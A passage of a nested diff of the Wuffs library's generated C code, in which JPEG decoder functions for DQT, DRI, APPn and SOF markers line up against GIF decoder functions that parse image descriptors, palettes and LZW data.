wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_dqt[0].v_q = v_q; -- self->private_data.s_decode_dqt[0].v_i = v_i; -+ self->private_impl.p_decode_gc = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -@@ -42720,12 +42802,12 @@ wuffs_jpeg__decoder__decode_dqt( - return status; - } - --// -------- func jpeg.decoder.decode_dri -+// -------- func gif.decoder.decode_id_part0 - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_jpeg__decoder__decode_dri( -- wuffs_jpeg__decoder* self, -+wuffs_gif__decoder__decode_id_part0( -+ wuffs_gif__decoder* self, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -@@ -42740,57 +42822,144 @@ wuffs_jpeg__decoder__decode_dri( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_dri[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_id_part0; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_payload_length != 2u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dri_marker); -- goto exit; -- } -- self->private_impl.f_payload_length = 0u; - { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint16_t t_0; -+ uint32_t t_0; - if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); -+ t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); - iop_a_src += 2; - } else { -- self->private_data.s_decode_dri[0].scratch = 0; -+ self->private_data.s_decode_id_part0.scratch = 0; - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_decode_dri[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -+ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); - *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; - if (num_bits_0 == 8) { -- t_0 = ((uint16_t)(*scratch >> 48)); -+ t_0 = ((uint32_t)(*scratch)); - break; - } - num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; - } - } -- self->private_impl.f_restart_interval = t_0; -+ self->private_impl.f_frame_rect_x0 = t_0; - } -- if (self->private_impl.f_sof_marker == 0u) { -- self->private_impl.f_saved_restart_interval = self->private_impl.f_restart_interval; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_id_part0.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 8) { -+ t_1 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ } -+ } -+ self->private_impl.f_frame_rect_y0 = t_1; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ uint32_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_2 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_id_part0.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -+ if (num_bits_2 == 8) { -+ t_2 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)) << 56; -+ } -+ } -+ self->private_impl.f_frame_rect_x1 = t_2; -+ } -+ self->private_impl.f_frame_rect_x1 += self->private_impl.f_frame_rect_x0; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ uint32_t t_3; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_id_part0.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -+ if (num_bits_3 == 8) { -+ t_3 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_3 += 8u; -+ *scratch |= ((uint64_t)(num_bits_3)) << 56; -+ } -+ } -+ self->private_impl.f_frame_rect_y1 = t_3; -+ } -+ self->private_impl.f_frame_rect_y1 += self->private_impl.f_frame_rect_y0; -+ self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; -+ self->private_impl.f_dst_y = self->private_impl.f_frame_rect_y0; -+ if ((self->private_impl.f_num_decoded_frame_configs_value == 0u) && ! self->private_impl.f_quirks[4u]) { -+ self->private_impl.f_width = wuffs_base__u32__max(self->private_impl.f_width, self->private_impl.f_frame_rect_x1); -+ self->private_impl.f_height = wuffs_base__u32__max(self->private_impl.f_height, self->private_impl.f_frame_rect_y1); - } - - goto ok; - ok: -- self->private_impl.p_decode_dri[0] = 0; -+ self->private_impl.p_decode_id_part0 = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_dri[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_decode_id_part0 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -@@ -42801,18 +42970,24 @@ wuffs_jpeg__decoder__decode_dri( - return status; - } - --// -------- func jpeg.decoder.decode_appn -+// -------- func gif.decoder.decode_id_part1 - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_jpeg__decoder__decode_appn( -- wuffs_jpeg__decoder* self, -+wuffs_gif__decoder__decode_id_part1( -+ wuffs_gif__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, - wuffs_base__io_buffer* a_src, -- uint8_t a_marker) { -+ wuffs_base__pixel_blend a_blend) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c8 = 0; -- uint32_t v_c32 = 0; -+ uint8_t v_flags = 0; -+ uint8_t v_which_palette = 0; -+ uint32_t v_num_palette_entries = 0; -+ uint32_t v_i = 0; -+ uint32_t v_argb = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint8_t v_lw = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -42825,184 +43000,136 @@ wuffs_jpeg__decoder__decode_appn( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_appn[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_id_part1; -+ if (coro_susp_point) { -+ v_which_palette = self->private_data.s_decode_id_part1.v_which_palette; -+ v_num_palette_entries = self->private_data.s_decode_id_part1.v_num_palette_entries; -+ v_i = self->private_data.s_decode_id_part1.v_i; -+ } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- do { -- if (a_marker == 224u) { -- if (self->private_impl.f_payload_length >= 5u) { -- self->private_impl.f_payload_length -= 5u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_appn[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -- if (num_bits_0 == 24) { -- t_0 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)) << 56; -- } -- } -- v_c32 = t_0; -- } -- if (v_c32 != 1179207242u) { -- self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 1u)); -- break; -- } -- { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_flags = t_0; -+ } -+ if (((uint8_t)(v_flags & 64u)) != 0u) { -+ self->private_impl.f_interlace = 4u; -+ } else { -+ self->private_impl.f_interlace = 0u; -+ } -+ v_which_palette = 1u; -+ if (((uint8_t)(v_flags & 128u)) != 0u) { -+ v_num_palette_entries = (((uint32_t)(1u)) << ((uint8_t)(1u + ((uint8_t)(v_flags & 7u))))); -+ v_i = 0u; -+ while (v_i < v_num_palette_entries) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { -+ t_1 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); -+ iop_a_src += 3; -+ } else { -+ self->private_data.s_decode_id_part1.scratch = 0; - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_1 = *iop_a_src++; -- v_c8 = t_1; -- } -- self->private_impl.f_is_jfif = (v_c8 == 0u); -- } -- } else if (a_marker == 238u) { -- if (self->private_impl.f_payload_length >= 12u) { -- self->private_impl.f_payload_length -= 12u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- uint32_t t_2; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_appn[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; -- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -- if (num_bits_2 == 24) { -- t_2 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_2 += 8u; -- *scratch |= ((uint64_t)(num_bits_2)) << 56; -- } -- } -- v_c32 = t_2; -- } -- if (v_c32 != 1651467329u) { -- self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 8u)); -- break; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- uint32_t t_3; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_appn[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; -- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -- if (num_bits_3 == 24) { -- t_3 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_3 += 8u; -- *scratch |= ((uint64_t)(num_bits_3)) << 56; -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- } -- v_c32 = t_3; -- } -- if ((255u & v_c32) != 101u) { -- self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 4u)); -- break; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- uint32_t t_4; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_appn[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; -- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; -- if (num_bits_4 == 24) { -- t_4 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_4 += 8u; -- *scratch |= ((uint64_t)(num_bits_4)) << 56; -+ uint64_t* scratch = &self->private_data.s_decode_id_part1.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -+ if (num_bits_1 == 16) { -+ t_1 = ((uint32_t)(*scratch >> 40)); -+ break; - } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)); - } -- v_c32 = t_4; -- } -- if ((v_c32 >> 24u) == 0u) { -- self->private_impl.f_is_adobe = 1u; -- } else { -- self->private_impl.f_is_adobe = 2u; - } -+ v_argb = t_1; - } -+ v_argb |= 4278190080u; -+ self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); -+ self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); -+ self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); -+ self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); -+ v_i += 1u; - } -- } while (0); -- self->private_data.s_decode_appn[0].scratch = self->private_impl.f_payload_length; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- if (self->private_data.s_decode_appn[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_decode_appn[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ while (v_i < 256u) { -+ self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = 0u; -+ self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = 0u; -+ self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = 0u; -+ self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = 255u; -+ v_i += 1u; -+ } -+ } else if (self->private_impl.f_quirks[6u] && ! self->private_impl.f_has_global_palette) { -+ status = wuffs_base__make_status(wuffs_gif__error__bad_palette); -+ goto exit; -+ } else if (self->private_impl.f_gc_has_transparent_index) { -+ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_palettes[1u], 1024), wuffs_base__make_slice_u8(self->private_data.f_palettes[0u], 1024)); -+ } else { -+ v_which_palette = 0u; - } -- iop_a_src += self->private_data.s_decode_appn[0].scratch; -- self->private_impl.f_payload_length = 0u; -+ if (self->private_impl.f_gc_has_transparent_index) { -+ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 0u)] = 0u; -+ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 1u)] = 0u; -+ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 2u)] = 0u; -+ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 3u)] = 0u; -+ } -+ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -+ wuffs_base__pixel_buffer__pixel_format(a_dst), -+ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), -+ wuffs_base__utility__make_pixel_format(2198077448u), -+ wuffs_base__make_slice_u8(self->private_data.f_palettes[v_which_palette], 1024), -+ a_blend); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ if (self->private_impl.f_ignored_but_affects_benchmarks) { -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_lw = t_2; -+ } -+ if (v_lw > 8u) { -+ status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); -+ goto exit; -+ } -+ self->private_impl.f_lzw_pending_literal_width_plus_one = ((uint32_t)(((uint8_t)(1u + v_lw)))); -+ self->private_impl.f_ignored_but_affects_benchmarks = true; - -- goto ok; - ok: -- self->private_impl.p_decode_appn[0] = 0; -+ self->private_impl.p_decode_id_part1 = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_appn[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_decode_id_part1 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_id_part1.v_which_palette = v_which_palette; -+ self->private_data.s_decode_id_part1.v_num_palette_entries = v_num_palette_entries; -+ self->private_data.s_decode_id_part1.v_i = v_i; - - goto exit; - exit: -@@ -43013,30 +43140,29 @@ wuffs_jpeg__decoder__decode_appn( - return status; - } - --// -------- func jpeg.decoder.decode_sof -+// -------- func gif.decoder.decode_id_part2 - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_jpeg__decoder__decode_sof( -- wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src) { -+wuffs_gif__decoder__decode_id_part2( -+ wuffs_gif__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c = 0; -- uint8_t v_comp_h = 0; -- uint8_t v_comp_v = 0; -- uint32_t v_i = 0; -- uint32_t v_j = 0; -- bool v_has_h24 = false; -- bool v_has_h3 = false; -- bool v_has_v24 = false; -- bool v_has_v3 = false; -- uint32_t v_upper_bound = 0; -- uint64_t v_wh0 = 0; -- uint64_t v_wh1 = 0; -- uint64_t v_wh2 = 0; -- uint64_t v_wh3 = 0; -- uint64_t v_progressive = 0; -+ uint64_t v_block_size = 0; -+ bool v_need_block_size = false; -+ uint32_t v_n_copied = 0; -+ uint64_t v_n_compressed = 0; -+ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -+ wuffs_base__io_buffer* v_r = &u_r; -+ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint64_t v_mark = 0; -+ wuffs_base__status v_copy_status = wuffs_base__make_status(NULL); - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -43049,269 +43175,185 @@ wuffs_jpeg__decoder__decode_sof( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_sof[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_id_part2; - if (coro_susp_point) { -- v_i = self->private_data.s_decode_sof[0].v_i; -+ v_block_size = self->private_data.s_decode_id_part2.v_block_size; -+ v_need_block_size = self->private_data.s_decode_id_part2.v_need_block_size; - } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_payload_length < 6u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -- goto exit; -- } -- self->private_impl.f_payload_length -= 6u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -- } -- if (v_c == 8u) { -- } else if (v_c == 12u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_12_bits); -- goto exit; -- } else if (v_c == 16u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_16_bits); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- uint32_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_1 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_decode_sof[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- while (true) { -+ wuffs_gif__decoder__lzw_init(self); -+ v_need_block_size = true; -+ label__outer__continue:; -+ while (true) { -+ if (v_need_block_size) { -+ v_need_block_size = false; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_decode_sof[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -- if (num_bits_1 == 8) { -- t_1 = ((uint32_t)(*scratch >> 48)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)); -+ uint64_t t_0 = *iop_a_src++; -+ v_block_size = t_0; - } - } -- self->private_impl.f_height = t_1; -- } -- if (self->private_impl.f_height == 0u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_implicit_height); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- uint32_t t_2; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_decode_sof[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_sof[0].scratch; -- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); -- if (num_bits_2 == 8) { -- t_2 = ((uint32_t)(*scratch >> 48)); -- break; -- } -- num_bits_2 += 8u; -- *scratch |= ((uint64_t)(num_bits_2)); -- } -+ if (v_block_size == 0u) { -+ break; - } -- self->private_impl.f_width = t_2; -- } -- if (self->private_impl.f_width == 0u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ while (((uint64_t)(io2_a_src - iop_a_src)) == 0u) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); - } -- uint8_t t_3 = *iop_a_src++; -- v_c = t_3; -- } -- if ((v_c == 0u) || (v_c > 4u)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -- goto exit; -- } else if (v_c == 2u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_color_model); -- goto exit; -- } -- self->private_impl.f_num_components = ((uint32_t)(v_c)); -- if (self->private_impl.f_payload_length != (3u * self->private_impl.f_num_components)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -- goto exit; -- } -- self->private_impl.f_payload_length = 0u; -- v_i = 0u; -- while (v_i < self->private_impl.f_num_components) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_4 = *iop_a_src++; -- self->private_impl.f_components_c[v_i] = t_4; -+ if (self->private_impl.f_compressed_ri == self->private_impl.f_compressed_wi) { -+ self->private_impl.f_compressed_ri = 0u; -+ self->private_impl.f_compressed_wi = 0u; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ while (self->private_impl.f_compressed_wi <= 3841u) { -+ v_n_compressed = wuffs_base__u64__min(v_block_size, ((uint64_t)(io2_a_src - iop_a_src))); -+ if (v_n_compressed <= 0u) { -+ break; - } -- uint8_t t_5 = *iop_a_src++; -- v_c = t_5; -- } -- v_comp_h = (v_c >> 4u); -- v_comp_v = (v_c & 15u); -- if ((v_comp_h == 0u) || -- (v_comp_h > 4u) || -- (v_comp_v == 0u) || -- (v_comp_v > 4u)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -- goto exit; -- } -- self->private_impl.f_components_h[v_i] = v_comp_h; -- if (self->private_impl.f_max_incl_components_h < self->private_impl.f_components_h[v_i]) { -- self->private_impl.f_max_incl_components_h = self->private_impl.f_components_h[v_i]; -- } -- self->private_impl.f_components_v[v_i] = v_comp_v; -- if (self->private_impl.f_max_incl_components_v < self->private_impl.f_components_v[v_i]) { -- self->private_impl.f_max_incl_components_v = self->private_impl.f_components_v[v_i]; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ v_n_copied = wuffs_private_impl__io_reader__limited_copy_u32_to_slice( -+ &iop_a_src, io2_a_src,((uint32_t)(v_n_compressed)), wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, self->private_impl.f_compressed_wi, 4096)); -+ 